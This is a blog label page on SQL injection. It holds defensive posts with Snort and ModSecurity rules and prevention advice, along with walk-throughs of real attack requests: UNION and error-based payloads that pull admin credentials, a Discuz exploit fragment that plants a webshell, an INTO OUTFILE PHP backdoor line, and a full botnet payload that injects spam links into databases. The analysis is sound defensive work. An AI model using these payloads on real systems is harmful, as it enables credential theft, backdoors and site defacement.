Showing posts with label SQLi. Show all posts
Showing posts with label SQLi. Show all posts

Wednesday, December 14, 2016

1:41018 1:41019 SERVER-WEBAPP Nagios XI Incident Manager SQL command injection attempt

I previously wrote about documentation-less snort rules. Below is my attempt to fill in some of those gaps.

Whomever created these 2 new sql injection snort alerts for nagios didn't include documentation.

1 41019 SERVER-WEBAPP Nagios XI Incident Manager SQL command injection attempt
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Nagios XI Incident Manager SQL command injection attempt"; flow:to_server,established; content:"nagiosxi/includes/components/nagiosim/nagiosim.php"; fast_pattern:only; http_uri; content:"host="; nocase; http_uri; pcre:"/[?&]host=[^&]*?([\x60\x3b\x7c]|\x24\x28)/Ui"; metadata:policy security-ips drop, service http; classtype:web-application-attack; sid:41019; rev:1; )

1 41018 SERVER-WEBAPP Nagios XI Incident Manager SQL command injection attempt
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Nagios XI Incident Manager SQL command injection attempt"; flow:to_server,established; content:"nagiosxi/includes/components/nagiosim/nagiosim.php"; fast_pattern:only; http_uri; content:"host="; nocase; http_raw_uri; content:"%26"; distance:0; http_raw_uri; pcre:"/[?&]host=[^&]*?%26/Ii"; metadata:policy security-ips drop, service http; classtype:web-application-attack; sid:41018; rev:1; )


If I had to guess I think it's related to this disclosure or something similar which stated.

The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are vulnerable to SQL injection via error-based payloads

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, August 31, 2016

Prevent SQL Injection in PHP

Good quick read on preventing SQL injection by Kamran Mohsin

1-Input Validation
  e.g. convert integers to integers before using so no nasty sql code can be added.
   $id = intval($_GET['id']);


2-Prepared Statements
  e.g. a better way , it separates sql logic from the data
  $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
  $stmt->bindParam(':name', $name);
  $stmt->bindParam(':value', $value);


3-Least Privileges
e.g. even if your developer screwed up, limit what the bad guy can do. if the website only reads certain tables, only give it read access to those tables.


More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, August 18, 2016

SQL Injection Example on Five Star Review

I pasted a few interesting web attacks from very recent logs. Thought it'd be interesting to run through some of them.

GET/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'` &_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 HTTP/1.1

This first attack looks like it's related to the Five Star Review System , possibly an older well known vulnerability on a company which appears to provide websites with review capabilities. So if you just add their php code to your website, you too can have your customers review your products, provide feedback, rank it with stars, etc. The problem it appears is there must be a SQL injection vulnerability in the _FILES query string parameter. This parameter must not be getting sanitized properly and thus an attacker is able to execute SQL code against the database behind this website. You'll notice in red some values that sorta look like SQL code. Now it looks like in order to get the exploit to work they have to escape characters thus the reason you see @`\'` together to get the correct syntax down to mysql.

' or mid=' /*!50000union*//*!50000select*/1,2,3,
(
select CONCAT(0x7c,userid,0x7c,pwd)
from __admin
limit 0,1
)
,5,6,7,8,9'


Next it's interesting to see the /**/ because that looks like comments, right? They can be ignored, right? WRONG! /*!50000 actually has significance in MySQL. The "50000" refers to a MySQL version, and thus it tells MySQL that only version 5.0.0 and above should run this command.

' /*!50000union*//*!50000select*/1,2,3,
(
select CONCAT(0x7c,userid,0x7c,pwd)
from __admin
limit 0,1
)
,5,6,7,8,9'


Thus there's actually a union and select statement hidden in there !

' union select 1,2,3,
(
select CONCAT(0x7c,userid,0x7c,pwd)
from __admin
limit 0,1
)
,5,6,7,8,9'


Now you can see from here that the attacker has knowledge that the sql query must return 9 column, thus the reason in his union select he's padded it with 8 extra integer value, and only the 4th column is of any interest, so that must be the column that the website displays in html to the browser so that attacker can see his results.

select CONCAT(0x7c,userid,0x7c,pwd)
from __admin
limit 0,1


Thus we're down to just that interesting column. You can see it concatenates 0x7c which per the hex conversion is a pipe (|) with the userid and password. Thus you may see as a result something like '|myusername|mypassword' returned to the screen. Finally notice that it's query the __admin table which must be were the administrator usernames and passwords like for the Five Star Review system and it's only pulling a few records, in this case it says in the limit clause 0,1 which means start at record 0 (the 1st one) and pull 1 record. So it's just returning the top record which likely is the administrator of the Five Start Review system.

GET/admin/_content/_about/aspcms_aboutedit.asp?id=1 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 from aspcms_user where userid=1 HTTP/1.1

This is a very similar attack as the one described in detail above. I'm guessing this is related to the ASP CMS (content management system) just based on the table they are tyring to grab records from (aspcms_user). Notice they are looking for userid=1 which is likely the system administrator record.

Remember to prevent SQL injection use parameterized queries so that data types cannot change and apostrophes cannot be escaped. Also use a sanitization library that escapes/encodes bad characters. Also make sure to do server side validation, if a parameter is supposed to take an ID # ... then only allow integers! If it's supposed to be a file type then make sure it matches a regex even as simple as as .*\..{1,3}.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, August 4, 2016

Simple MySQL SQL Injection Example

I saw this SQL injection attempt and thought it was worth mentioning. SourceIp: 5.101.156.112
GET /?Cookie=language99999' union select unhex(hex(version())) -- 'x'='x HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; eMusic DLM/3; MSN Optimized;US; MSN Optimized;US)


The attacker must believe the Cookie query string parameter is vulnerable to SQL injection. So they put in a value (language99999) but try to escape the sql parameter with an apostrophe.

Thus for example if the web developer was performing a database query such as

select result from language table where id='@Cookie'

The attempt here is to escape that parameter and union (join) in the search results with another evil query such as.

select result from language table where id='language99999' union select unhex(hex(version())) -- 'x'='x'

The attacker is using 3 MySQL functions in this attack
1.) version() which returns the MYSQL version number.
2.) hex() which converts a string to a hex value.
3.) unhex() which converts a hex value back to a string.


In theory if this works the MYSQL database version will get returned instead of the language result.


As a sysadmin to prevent this ensure your website is up to date and patched, and implement an IPS or WAF that could block these basic attacks even if you are vulnerable.

As a web developer to prevent this ensure you're using strongly typed parameterized sql queries and in addition do pattern matching to ensure that parameters like language are in the format you expect and do SQL injection security sanitization libaries so that evil characters like apostrophes are encoded and rendered harmless.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, August 2, 2016

Joomla SQL Injection Walk-Through

I saw this pastebin post with a joomla sql injection exploit perl script that I thought was interesting enough to write a bit about.

Upon reviewing the code I see that the exploit constructs a url such as

http://victim.com/index.php?option=com_jumi&fileid=93&Itemid=117+UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/jos_users+--+

This appears to exploit a Joomla com_jumi parameter called 'Itemid' that must not properly sanitize user input and thus allows for sql commands to be injected and executed against the database.

It's likely that behind the scenes the Joomla developers are performing a query on the database such as

   select |24 fields| from |itemtable| where Itemid = HttpRequest["ItemId"]

But since they aren't sanitizing the ItemId parameter an attacker can enter a value such below (notice the + signs above are simply a way to encode spaces in a URL so I've removed them). Also notice that /**/ is just an empty comment and does nothing except obfuscate so it can safely be removed for analysis. Also notice that 0x3a is the hex equivalent of the single colon character (:) so I've replaced it also for simplicity.

   ItemId=117 UNION SELECT 1,concat(username,':',password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from jos_users --

So you see above that we first pass in an actual item id (117) so that the query returns at least a single record. Next there is a "union select" which means weren't going to union or concatenate or join the results of the SQL query defined by the developer with a SQL query we are going to define. Now in order to union or combine 2 SQL queries the number of columns must match, thus the reason you see 24 columns (23 of them are integer values that the system would automatically cast/convert into string if needed). The attacker must know that column #2 is the one that the website displays on the screen in the html response, thus they choose to display their exfiltrated data in column #2. What they display is the username and password concatenated together from the jos_users table. It is likely the case that the 1st record in this table is the Joomla administrator, thus if this attack is successful, the administrative username and password will be displayed out to the browser.

To prevent this as a Sys Admin of a Joomla site, upgrade and patch as soon as patches are available. If you see active exploits, implement an IPS (intrusion prevention system) that allows you to block malicious looking requests like this.

To prevent this as a web developer, use strongly typed parameterized SQL queries so that an Integer (like ItemId) cannot be converted into a string. Also utilize a standard Security library that sanitized or encodes malicious looking characters like the +,/,*, or -

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, May 31, 2016

SQL Injection Attack Sample

Saw this SQL Injection attempt, could not find much about it, so I thought I'd document it here a bit. I believe from some google searches, that this might be against a vulnerable e-Commerce system called ShopEx, and in particular against the ShopAdmin page in that suite, so perhaps against an administrative login page. The SQL injection POST attack sample is here. It appears to be against the sess_id parameter in the url of that request. It's a simple url GET request.

What you see is that they are passing a ' and (redacated) and '1'='1 which is typical SQL injection. Somebody on the back-end must be concatenating strings to build their SQL query instead of using parameterized queries. Thus the attacker is able to pass a single tick (') which will close the previous string (likely for session id) in the sql command and continue to re-write the SQL query by adding the conditional and keyword, some more sql code in parenthesis that I redacted for now, and finally the typicaly '1'='1 command where it's basically saying return all records no matter what the session id is.

The first thing you might be wondering though is what is the attacker's goal in a statement like this? Well to get at that we have to dig deeper into that redacted code, but for now I can tell you that they're trying to extract data from the database. They're not trying to write data, they're not trying to backdoor the system, etc. they just want data out of the database.

Inside that redacted code you'd see something like this select count(*), (redacted2) x from information_schema.tables group by x which is also commonly seen. This is a bit tricky to understand, but I blogged about it before and described it as SQLi Duplicate entry for key where the attacker will actually be able to extract data from the database via a exception error message. So no matter how the website administrator/developer is displaying or returning results (or maybe they aren't all) ... the attacker can always extract data with this method as long as SQL exception error messages are getting output to the error page. So the above code works because the code in the redacted2 portion will get displayed once for every table in the information_schema database, so assuming your database as more than 1 table, this is going to display the same redacted2 data multiple times, and since you're doing a group by SQL is going to throw and error/exception saying duplicate key, because you're trying to group by/display the same value multiple times which is not allowed.

Lucky for the attacker then, if the website is configured to display the error message generated, the attacker can control the error message and get it to actually display the data they want to extract. In this case ,the code inside redacted2 is select concat(userpass,0x7e,username,0x7e,op_id) from sdb_operators which you can see is the attacker trying to extract the username and password from the spdb_operators table, which likely is some sort of administrator that the attacker can then turn around and login to the shopadmin login page with and thus gain administrative access to the e-commerce site.

To prevent this, first of all the sql injection could be fixed with proper parameterized queries and input sanitization. But also public facing administration pages should be avoided or removed completely so that even if the attacker got the username and password it would be useless. If public facing administrative pages are needed, then at a minimal put in some IP filtering and other restrictions that prevent an attacker from logging into your admin page from anywhere except your known trusted ip ranges.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, May 20, 2016

Separate Servers for your Website and DB?

Let's say you have a website and a database. Should you have 1 server or 2. Does it matter? Here's just 1 example of why it matters. Let's pretend your website has a single SQL Injection vulnerability on it. When that attacker injects a SQL statement, it will execute against your database. Did you realize there are SQL commands that can interact with the server's filesystem? As an example

SELECT * from orders INTO OUTFILE '/tmp/orders.txt';

The above statement could be used to dump the output of a select query of all orders into a text file. Hey, as a DBA or developer that might be useful. But guess what, as an attacker, that is useful too! First I'll give a simple example.

SELECT '<? echo 'hello world' ?>' INTO OUTFILE '/var/www/helloworld.php';

Now the above statement seems a bit strange at first, but essentially I'm dumping PHP code for a hello world program into a php file. So now I could navigate to hxxp://mysite.com/helloworld.php and there would be a file that says 'hello world'. Interesting right? Maybe not harmful yet, but it has potential. Now try something a bit more evil.

SELECT '<? system($_GET[\'p\']); ?>' INTO OUTFILE '/var/www/backdoor.php';

The above statement may be daunting at first, but all it's doing is writing php code that executing At the server's command line what is passed via parameter 'p' . Why is that bad? Well, the attacker could now visit your site again perhaps with this url hxxp://mysite.com/backdoor.php?p=ls and guess what, the page would execute the 'ls' command and list out all files in the web root directory. Now you could get way more creative than that and create a file or run an command that perhaps uploads a web shell, malware, or something more persistent to the server and control is on a more permanent basis.

Now back to the original topic at hand. In a scenario like above, what is one thing that would've made this type of attack a bit harder? One answer would be if the Web Server and Database server were on separate servers. Why would that make it harder for the attacker? Well, they likely can no longer run a single SQL injection command that dumps a php file and creates a backdoor. Instead the SQL command they run will be on a SQL server that doesn't necessarily have access to the web server or web root folders on the web server. Thus the attacker is going to have a lot more work to do, such as establishing persistence on the SQL server, then finding a way to either communicate outbound from the sql server back to the attackers device (likely harder if it's an internal machine with additional security hardening), or finding a way to pivot to and attack the web server to take control of it. Either way it's definitely a more daunting task than simply being handed a nice little server with the web and database mashed together. Consider that the next time you architect your solution. Tiered environments have many security benefits.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, April 20, 2016

SQL Injection Cheat Sheet Link

Looking for a SQL Injection examples? I found this SQL injection cheat sheet by netsparker pretty nice

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, March 1, 2016

ModSecurity Virtual Patching 101

There is a great article by High-Tech Bridge Security Research team about the Open Source WAF ModSecurity. I thought it'd be interesting to cover a few of the topics they mentioned at a high level.

Have you ever had a scenario where a security vulnerability was identified (perhaps by a scanner, or an outside resources, etc.) but you were unable to immediately patch it. Perhaps you were in the middle of a large project and had no resources. Perhaps the vulnerability was in a fragile high risk area of the sites and numerous hours or days of testing are required. Perhaps the site is hosted/built by a 3rd party and you have to deal with formalities and other delays. A possible solution to any of these problems would be to apply a temporary "virtual patch" with your WAF in order to block the attack from occurring until you get the developers to build & test the real patch. Remember you still want to perform real patching, your virtual patching should only be temporary because WAFs are just another layer, and that layer could also have vulnerabilities or weaknesses of their own (such as WAF bypasses). Thus the only real way to prevent exploit is to perform a full patch.

But for the temporary fix, you might be wondering ... what does a virtual patch look like? Well essentially you can write a rule (think of it as similar to a SNORT IDS/IPS rule) that restricts what data can be utilized on the website to hopefully allow the good data and block that attackers data.

XSS Example
  Exploit Url: http://www.mysite.com/product.aspx?productid=alert(document.cookie)
  Virtual Patch:
    SecRule REQUEST_FILENAME "/product.aspx" "phase:2, t:none, t:normalisePath, t:lowercase, t:urlDecodeUni, chain, deny, log, id:1001"
    SecRule ARGS_GET:productid "!^[0-9]+$" "t:none"


To explain further, let's say in the example above that you confirm the productid parameter on the product.aspx page is vulnerable to XSS but you cannot apply permanent patch yet. Thus you want to create a temporary WAF virtual patch to block attackers from exploiting it. The 'SecRule' keyword allows you to analyze and act upon variables. You'll notice there are 2 lines thus we are analyzing 2 variables. The 1st is the 'REQUEST_FILENAME' variable and it holds the name of the file being requested. In this case we validate that it's the product.aspx page. Then we can set a bunch of actions. The first one I want to point out is the word 'chain'. This indicates that there are multiple 'SecRule's that are getting chained together (in this case our 2 lines/2 variables we're comparing). Also it says 'deny' and 'log' which means if these chained rules match we are denying and logging it. Just like a snort rule there is an "id" also for tracking. There are also a bunch that start with the letter 't' which stand for transformation functions. 'none' starts you with a clean slate, then it's saying do all the comparisons in 'lowercase', and use the 'normalisePath' to eliminate any double slashes, and use unicode with 'urlDecodeUni'. The other action in the first line is 'phase:2' which indicates for the WAF to look at the Request. Phase 1 is the request headers, Phase 2 is the request, Phase 3 is the Response headers, phase 4 is the Response, and Phase 5 is logging. The phase is for performance.

The second line is another 'SecRule' on a variable called 'ARGS_GET'. More specifically, it's comparing the value of the 'productid' query string argument. This line creates a whitelist to basically attempt to allow the good data and block the attackers bad data. In this case it's providing a regular express that says the productid can only contain numbers (1 to many). Thus by allowing only numbers, the WAF will 'deny' the request and 'log' if anybody tries to pass anything other than numbers into the productid parameter. Just like that you've prevented the XSS.

SQLi Example
  Exploit Url: http://www.mysite.com/search.aspx?keyword=value';insert+into+user+('admin','password');--
  Virtual Patch:
    SecRule REQUEST_FILENAME "/search.aspx" "phase:2, t:none, t:normalisePath, t:lowercase, t:urlDecodeUni, chain, deny, log, id:1002"
    SecRule ARGS:keyword "'" "t:none, t:urlDecodeUni"


Just to provide a second example, above is a url that you've identified as having a keyword parameter vulnerable to SQL injection. In the case above, the attacker terminates the keyword value in SQL with the apostrophe, then inserts an admin user into the user table, then comments out the rest of the SQL. To prevent this we chain 2 'SecRule's again. We first check that we're on the vulnerable 'search.aspx' page and we're going to 'deny' and 'log' again.

The second line then look for the 'keyword' query string parameter, and if it contains an apostrophe or any unicode variation, then it will 'deny' the requst, thus you've temporarily prevented the SQL injection.

The article has many more great examples of how to block things like CSRF, Path Traversal, etc.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, January 13, 2016

Uptick in SEO SQL Injection Attacks

This state of the Internet advisory from Akamai about a continous uptick in SEO sql injection attacks was a really good read and falls directly in line with a recent article I wrote about what I called the PageRank botnet sql injection describing in detail one of these attacks.

I just find it fascinating how these things can spread and it gives you an idea of how poorly the Internet is doing with secure coding practices and patching of known vulnerabilities, because if we were doing well then attackers would have no reason to build such attacks, but in general we must be failing because these types of attacks continue to be prevelant and successful.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, December 17, 2015

Real eCommerce SQL Injection Example

I saw this SQL injection attempt that was likely supposed to be directed towards some php mysql ecommerce platform (I couldn't figure out exactly which one).

GET/news/html/?0'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html  

It appears to try to take advantage of a SQL Injection vulnerability in a query string parameter called '0' on the news page of the site. I know this by the tick followed by the word union

httml/?0'union If I clean it up by removing the excess comments used for obfuscation i get this sql statement being tried.

union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a, select concat(user,0x3a,password) from pwn_base_admin limit 0,1),0x3a)a from information_schema.tables group by a)b where'1'='1'

This is trying to output via a sql primary key error message, the username and password from the pwn_base_admin table. If you're not familiar with how this sql statement can output the sensitive data via an error getting thrown, please read my blog from last mnth about sqli duplicate entry for key.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, November 30, 2015

Discuz SQLi Duplicate entry for key

Saw this sql injection attempt likely related to the Discuz! Internet Forum software probably from earlier this year. I think it may come from a PoC like this. Here's the attack seen. POST /faq.php

action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#


The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...

select substr(authkey,1,62) from cdb_uc_applications limit 0,1


Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results

select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x


Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.

select 1 from ( RESULT ABOVE ) a


by printing the number '1' (literally the number 1) and then

) and ( RESULT ABOVE ) #

comment out (hash symbol) the rest of the sql statement to finish off the sql injection.

So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!

The github exploit linked above shows how this is utilized then ...

content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)


You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.

cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'


Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, November 12, 2015

PageRank BotNet SQLi Analysis

Below is my line-by-line analysis of a PageRank BotNet SQLi (SQL Injection) attempt. At the end is a nice little Pseduo code summary as well.

First there was an ugly HTTP GET request made to a .NET aspx page. See all the code pasted here.


*********************
GET /page.aspx?id=999');declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME()%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME());open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''group%20sex%20stories%20with%20pictures%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.ohiovalleyrestoration.com''%2Bchar(47)%2B''blog''%2Bchar(47)%2B''template''%2Bchar(47)%2B''page''%2Bchar(47)%2B''moms-sex-stories.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''stories%20of%20sex''''%20when%201%20then%20''''ohiovalleyrestoration.com''''%20else%20''''read''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20hot%20hot%20interracial%20sex%20stories''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysin dexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%20@b%20into%20@w;end;close%20@b--
*********************


If you URL decode it you get something a bit more readable.


*********************
GET /page.aspx?id=999');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''group sex stories with pictures ''+char(60)+''a href="http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories of sex'''' when 1 then ''''ohiovalleyrestoration.com'''' else ''''read'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' hot hot interracial sex stories''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
*********************


Then if you add some spacing and identification you get something we can talk about.


*********************
');
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('
master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] +
case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
exec (@s);
fetch next from @b into @w;
end;
close @b--
*********************


Now let's do a line by line review of this attack.

');

This is where the SQL injection actually starts. If some developer didn't used prepared statements or forgot to sanitize apostrophes, let the fun begin. The attacker can now end the current statement and start a new one of his own. An attack could now potentially pass a huge ugly collection of SQL statements into the .NET website as a parameter, and the C# or VB.NET code behind might simply pass this code directly to the Microsoft SQL Server database and execute it as-is. If so, that could spell the end of your database and your server as it'll quickly be owned by the attacker.


*********************
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);

*********************


The above lines are the start of a collection of Microsoft SQL statements. If you're a developer or DBA, you might see stuff like this in a Stored Procedure for example. In the above 3 lines, they're declaring 3 variables 1.) @b as a cursor which allows the attacker to iterate through the results of his first query on your database 2.) @s as a large string which will eventually hold the actual query they want to run on your database 3.) @w as something to hold the database name he's going to attack later on.


*********************
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin

*********************


